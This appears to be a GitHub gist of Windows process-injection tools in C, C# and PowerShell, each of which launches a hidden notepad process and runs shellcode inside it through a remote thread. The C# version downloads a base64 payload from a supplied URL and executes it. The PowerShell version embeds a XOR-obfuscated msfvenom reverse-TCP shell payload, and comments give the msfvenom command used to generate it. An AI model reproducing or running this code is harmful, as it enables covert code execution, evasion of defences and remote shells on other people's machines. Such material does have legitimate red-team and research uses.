Skip to content

Instantly share code, notes, and snippets.

@FrankSpierings
Last active May 13, 2019 19:36
Show Gist options
  • Save FrankSpierings/59b7feacfd30abc06b6ba7eeda08aadf to your computer and use it in GitHub Desktop.
Save FrankSpierings/59b7feacfd30abc06b6ba7eeda08aadf to your computer and use it in GitHub Desktop.
Inject shellcode into process on Windows
/*
Compile:
docker run -it --rm -v `pwd`:/tmp/building ubuntu bash -c "cd /tmp/building; apt update && apt install -y mingw-w64 && i686-w64-mingw32-gcc -O3 -s inject.c -lws2_32 -o inject.exe"
*/
#include <stdio.h>
#include <windows.h>
#define ALLOCSIZE 4096
#define SLEEP4KILL 5
unsigned char buf[] = "";
int main(int argc, char* argv[])
{
BOOL bResult;
STARTUPINFO si;
PROCESS_INFORMATION pi;
HANDLE hProcess;
HANDLE hMem;
SIZE_T uiWritten;
HANDLE hRemoteThread;
DWORD dwOldProtect;
ZeroMemory(&si, sizeof(si));
ZeroMemory(&pi, sizeof(pi));
si.wShowWindow = FALSE;
si.cb = sizeof(STARTUPINFO);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
bResult = CreateProcess(NULL, "notepad.exe", NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
printf("Process exec : %s\n", bResult ? "true" : "false");
printf("Process ID : %010d\n", pi.dwProcessId);
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pi.dwProcessId);
printf("Process handle: 0x%08x\n", hProcess);
hMem = VirtualAllocEx(hProcess, NULL, ALLOCSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
printf("Memory handle : 0x%08x\n", hMem);
WriteProcessMemory(hProcess, hMem, buf, sizeof(buf), &uiWritten);
printf("Buffer size : 0x%08x\n", sizeof(buf));
printf("Bytes written : 0x%08x\n", uiWritten);
bResult = VirtualProtectEx(hProcess, hMem, ALLOCSIZE, PAGE_EXECUTE_READ, &dwOldProtect);
printf("Page exec : %s\n", bResult ? "true" : "false");
hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, hMem, NULL, 0, NULL);
printf("Thread handle : 0x%08x\n", hRemoteThread);
printf("Sleeping : %010d\n", SLEEP4KILL);
Sleep(SLEEP4KILL * 1000);
bResult = TerminateProcess(pi.hProcess, 0);
printf("Process kill : %s\n", bResult ? "true" : "false");
return 0;
}
/*
Compile:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe inject.cs
*/
using System;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Net;
class Inject
{
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[Flags]
public enum ProcessAccessFlags : uint
{
PROCESS_CREATE_PROCESS = 0x0080,
PROCESS_CREATE_THREAD = 0x0002,
PROCESS_DUP_HANDLE = 0x0040,
PROCESS_QUERY_INFORMATION = 0x0400,
PROCESS_QUERY_LIMITED_INFORMATION = 0x1000,
PROCESS_SET_INFORMATION = 0x0200,
PROCESS_SET_QUOTA = 0x0100,
PROCESS_SUSPEND_RESUME = 0x0800,
PROCESS_TERMINATE = 0x0001,
PROCESS_VM_OPERATION = 0x0008,
PROCESS_VM_READ = 0x0010,
PROCESS_VM_WRITE = 0x0020,
SYNCHRONIZE = 0x00100000,
PROCESS_ALL_ACCESS = PROCESS_CREATE_PROCESS | PROCESS_CREATE_THREAD | PROCESS_DUP_HANDLE |
PROCESS_QUERY_INFORMATION | PROCESS_QUERY_LIMITED_INFORMATION |
PROCESS_SET_INFORMATION | PROCESS_SET_QUOTA | PROCESS_SUSPEND_RESUME |
PROCESS_TERMINATE | PROCESS_VM_OPERATION | PROCESS_VM_READ |
PROCESS_VM_WRITE | SYNCHRONIZE,
}
[DllImport("kernel32.dll", SetLastError=true, ExactSpelling=true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, AllocationType flAllocationType, MemoryProtection flProtect);
[Flags]
public enum AllocationType
{
Commit = 0x1000,
Reserve = 0x2000,
Decommit = 0x4000,
Release = 0x8000,
Reset = 0x80000,
Physical = 0x400000,
TopDown = 0x100000,
WriteWatch = 0x200000,
LargePages = 0x20000000
}
[Flags]
public enum MemoryProtection
{
Execute = 0x10,
ExecuteRead = 0x20,
ExecuteReadWrite = 0x40,
ExecuteWriteCopy = 0x80,
NoAccess = 0x01,
ReadOnly = 0x02,
ReadWrite = 0x04,
WriteCopy = 0x08,
GuardModifierflag = 0x100,
NoCacheModifierflag = 0x200,
WriteCombineModifierflag = 0x400
}
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out IntPtr lpThreadId);
[DllImport("kernel32.dll")]
public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, MemoryProtection flNewProtect, out MemoryProtection lpflOldProtect);
static int Main(string[] args)
{
if (args.Length < 1) {
// $ msfvenom -p windows/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw | base64 > payload
// $ python -m SimpleHTTPServer
Console.WriteLine(String.Format("Specify payload URL"));
return -1;
}
String url = args[0];
byte[] buf;
WebClient client = new System.Net.WebClient();
buf = Convert.FromBase64String(client.DownloadString(url));
Process process = new Process();
process.StartInfo.FileName = "notepad.exe";
process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
process.Start();
uint AllocSize = 4096;
IntPtr processHandle = OpenProcess(ProcessAccessFlags.PROCESS_ALL_ACCESS, false, process.Id);
IntPtr memHandle = VirtualAllocEx(processHandle, IntPtr.Zero, AllocSize, AllocationType.Reserve | AllocationType.Commit, MemoryProtection.ReadWrite );
IntPtr bw;
bool result = WriteProcessMemory(processHandle, memHandle, buf, buf.Length, out bw);
Console.WriteLine(String.Format("Process Handle: 0x{0,0:X16}", processHandle.ToInt64()));
Console.WriteLine(String.Format("Memory Handle: 0x{0,0:X16}", memHandle.ToInt64()));
Console.WriteLine(String.Format("Bytes Written: 0x{0,0:X16}", bw.ToInt64()));
MemoryProtection prefMemProt;
result = VirtualProtectEx(processHandle, memHandle, AllocSize, MemoryProtection.ExecuteRead, out prefMemProt);
if (result) {
Console.WriteLine(String.Format("Set Protection: {0}", MemoryProtection.ExecuteRead));
IntPtr threadId;
IntPtr threadHandle = CreateRemoteThread(processHandle, IntPtr.Zero, 0, memHandle, IntPtr.Zero, 0, out threadId);
Console.WriteLine(String.Format("ThreadId: 0x{0,0:X16}", threadId.ToInt64()));
}
else {
Console.WriteLine("Failure: could not set memory protection!");
}
return 0;
}
}
$inject = @"
using System;
using System.Runtime.InteropServices;
using System.Diagnostics;
public class Inject
{
public static uint PROCESS_ALL_ACCESS = 0x1f0fff;
public static uint MEM_COMMIT = 0x00001000;
public static uint MEM_RESERVE = 0x00002000;
public static uint ReadWrite = 0x04;
public static uint ExecuteRead = 0x20;
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll", SetLastError=true, ExactSpelling=true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out IntPtr lpThreadId);
[DllImport("kernel32.dll")]
public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
public static int Main(string[] args)
{
if (args.Length < 2) {
return -1;
}
byte[] buf = Convert.FromBase64String(args[0]);
int key = int.Parse(args[1]);
for (int i=0; i<buf.Length; i++) {
buf[i] = (byte)((int) buf[i] ^ key);
}
Process process = new Process();
process.StartInfo.FileName = "notepad.exe";
process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
process.Start();
uint AllocSize = 4096;
IntPtr processHandle = OpenProcess(PROCESS_ALL_ACCESS, false, process.Id);
IntPtr memHandle = VirtualAllocEx(processHandle, IntPtr.Zero, AllocSize, MEM_COMMIT | MEM_RESERVE, ReadWrite);
IntPtr bw;
bool result = WriteProcessMemory(processHandle, memHandle, buf, buf.Length, out bw);
Console.WriteLine(String.Format("Process Handle: 0x{0,0:X16}", processHandle.ToInt64()));
Console.WriteLine(String.Format("Memory Handle: 0x{0,0:X16}", memHandle.ToInt64()));
Console.WriteLine(String.Format("Bytes Written: 0x{0,0:X16}", bw.ToInt64()));
uint oldProtect;
result = VirtualProtectEx(processHandle, memHandle, AllocSize, ExecuteRead, out oldProtect);
if (result) {
IntPtr threadId;
IntPtr threadHandle = CreateRemoteThread(processHandle, IntPtr.Zero, 0, memHandle, IntPtr.Zero, 0, out threadId);
Console.WriteLine(String.Format("ThreadId: 0x{0,0:X16}", threadId.ToInt64()));
}
else {
Console.WriteLine("Failure: could not set memory protection!");
}
return 0;
}
}
"@;
Add-Type -Language CSharp $inject;
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f python
# Output xor python:
#
# import base64
# key = 0xfa
# base64.b64encode(bytes([(ord(i) ^ key) for i in buf]))
$buf = "BrJ5HgoSOvr6+ruru6qoq6yyyyifsnGomrJxqOKycajasnGIqrL1TbCwt8szsss6VsabhvjW2rs7M/e7+zsYF6i7q7JxqNpxuMay+ypxenL6+vqyfzqOnbL7KqpxsuK+cbras/sqGayyBTO7cc5ysvsst8szsss6Vrs7M/e7+zvCGo8Ltvm23vK/wyuPIqK+cbres/sqnLtx9rK+cbrms/squ3H+crL7Kruiu6Kko6C7oruju6CyeRbau6gFGqK7o6CycegTrQUFBaezRI2JyKXJyPr6u6yzcxyyexZa+/r6s3Mfs0b4+uumhfr6+7uus3MetnMLu0C2jdz9BS+2cxCS+/v6+qO7QNN6kfoFL6qqt8szt8s6sgU6snM4sgU6snM7u0AQ9SUaBS+ycz2Q6ruitnMYsnMDu0BjX46bBS+yez66+Pr6s0KZl576+vr6+ruqu6qycxitra23yzqQ96O7qhgGnD2+3q77+7J3vt7iPPqSsnMcrKq7qruqu6qzBTq7qrMFMrdzO7ZzO7tAgzbFfAUvsssosgUwcfS7QPJ955oFL0EKT1isu0Bcb0dnBS+yeT7SxvyG8HoBGo//Qb3piJWQ+qO7cyAFLw==";
$key = 0xfa;
[Inject]::Main(($buf, $key))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment